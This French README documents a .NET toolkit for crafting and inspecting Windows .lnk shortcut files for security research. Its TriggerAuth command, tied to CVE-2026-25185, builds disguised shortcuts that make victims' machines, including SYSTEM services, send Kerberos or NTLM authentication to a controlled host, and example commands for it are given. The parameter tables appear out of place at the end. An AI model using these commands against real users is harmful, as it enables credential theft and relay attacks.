
Lnk crafting and research tools
Un kit .NET 8 pour créer et analyser des fichiers Windows Shell Link (.lnk). Il comprend un générateur en ligne de commande (LnkMeMaybe) et un éditeur graphique (LnkUi). Destiné à la recherche en sécurité et aux tests d'intrusion.
| Project | Description |
|---|---|
Lnk/ | Bibliothèque centrale. Analyse et génère le format binaire .lnk conformément à la spécification MS-SHLLINK. LnkHandler est le point d'entrée principal, composant ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData et ExtraData. |
LnkMeMaybe/ | Outil CLI. Commandes pour générer une variété de fichiers .lnk. Utilise le framework Titanis.Cli. |
LnkUi/ | Éditeur de bureau MVVM Avalonia 11. Sept ViewModels encapsulent les composants correspondants de la bibliothèque Lnk. Utile pour l'exploration manuelle et l'inspection de fichiers .lnk. |
LnkTests/ | Suite MSTest. De vrais fichiers .lnk sont inclus comme ressources. Couvre ShellLinkHeader et LinkInfo. |
Toutes les commandes partagent les paramètres de base suivants (issus de BaseSavedCommand) :
TriggerAuth (CVE-2026-25185)Crée un .lnk qui déclenche une authentification Kerberos (avec repli sur NTLM) vers un serveur spécifié. Le .lnk n'exécute rien.
Scénarios où l'authentification est déclenchée :
.lnk — le compte de l'utilisateur s'authentifie vers l'extérieur..lnk est placé dans un emplacement que la machine est configurée pour indexer — SearchProtocolHost s'authentifie en tant que SYSTEM.MSSense.exe s'authentifie en tant que SYSTEM.Paramètres :
Exemples :
# Envoyer une authentification vers \\controlled.example.org\IPC$ en se faisant passer pour notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# Envoyer une authentification vers un chemin de partage spécifique en se faisant passer pour un raccourci de dossier
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcutCrée un fichier .lnk qui pointe vers une URL web. Normalement, Windows crée un fichier .url pour les raccourcis web ; cette commande produit à la place un .lnk.
Paramètres :
| Paramètre | Requis | Description |
|---|---|---|
--Url | Oui | L'URL vers laquelle le raccourci doit pointer. Doit être une URI absolue bien formée. |
Exemple :
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcutCrée un raccourci Windows standard vers un fichier ou un dossier local. Le chemin cible est stocké sous forme de liste d'identifiants d'éléments shell (PIDL) — le format natif que Windows utilise pour les raccourcis du système de fichiers.
Paramètres :
Exemples :
# Créer un raccourci vers Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# Raccourci avec arguments et icône personnalisée
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# Raccourci qui s'ouvre en maximisé et demande une élévation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcutCrée un .lnk où le chemin cible est stocké sous forme de chaîne extensible de variable d'environnement (EnvironmentVariableDataBlock). C'est le format que Windows utilise pour les raccourcis vers des exécutables système (par ex. %SystemRoot%\system32\notepad.exe). Les variables sont développées au moment du lancement, ce qui rend le raccourci portable entre différentes installations Windows.
Paramètres :
Exemples :
# Raccourci vers Notepad utilisant un chemin avec variable d'environnement
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# Raccourci vers une application du profil utilisateur avec arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# Compilation (debug)
dotnet build Lnk.sln
# Compilation (release, projets principaux uniquement)
dotnet build -c Release build.slnf
# Exécuter tous les tests
dotnet test
# Exécuter une classe de test spécifique
dotnet test --filter "ClassName=lnkHeader"
# Publier un exécutable autonome mono-fichier (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
Des binaires précompilés pour Windows, Linux et macOS (x64 et arm64) sont disponibles sur la page Releases.
Chaque version inclut à la fois des builds autonomes (aucun runtime .NET requis) et dépendants du framework (nécessitent le runtime .NET 8) pour LnkMeMaybe et LnkUi.
Des systèmes d'IA ont été utilisés pour les tâches suivantes :
Le code présent dans ce dépôt a par ailleurs été créé et revu par des humains.
| Paramètre | Alias | Requis | Description |
|---|
--OutputPath | Oui | Chemin du système de fichiers où écrire le fichier .lnk. | |
--Overwrite | Non | Autorise l'écrasement d'un fichier existant à OutputPath. | |
--DisplayName | Non | Texte affiché au survol du raccourci. Prend en charge \n pour les sauts de ligne. | |
--IconPath / -I | -I | Non | Chemin d'un .exe ou .dll à utiliser comme icône du raccourci. Doit exister sur le système cible. |
--IconIndex | Non | Index de la ressource d'icône dans le fichier spécifié par --IconPath. Défaut : 0. |
| Paramètre | Alias | Requis | Description |
|---|
--FakePath / -F | -F | Oui | Chemin affiché comme cible dans les propriétés du .lnk. |
--Server / -S | -S | Oui | Nom d'hôte du serveur, adresse IP ou chemin UNC vers lequel envoyer l'authentification. Ajoute IPC$ si aucun partage n'est spécifié. |
--Darwin | Non | Identifiant Darwin stocké dans le .lnk. Peut être n'importe quelle valeur. Défaut : unset. |
| Paramètre | Alias | Requis | Description |
|---|
--TargetPath | Oui | Chemin absolu vers le fichier ou dossier cible. | |
--Arguments | Non | Arguments de ligne de commande à transmettre à la cible. | |
--WorkingDirectory | -W | Non | Répertoire de travail du processus cible. |
--RunAsAdmin | Non | Demander une élévation UAC au lancement du raccourci. | |
--ShowCommand | Non | État de la fenêtre au lancement : Normal, Maximized ou Minimized. |
| Paramètre | Alias | Requis | Description |
|---|
--TargetPath | Oui | Chemin cible, peut inclure des variables d'environnement telles que %SystemRoot% ou %USERPROFILE%. | |
--Arguments | Non | Arguments de ligne de commande à transmettre à la cible. | |
--WorkingDirectory | -W | Non | Répertoire de travail du processus cible. |
--RunAsAdmin | Non | Demander une élévation UAC au lancement du raccourci. | |
--ShowCommand | Non | État de la fenêtre au lancement : Normal, Maximized ou Minimized. |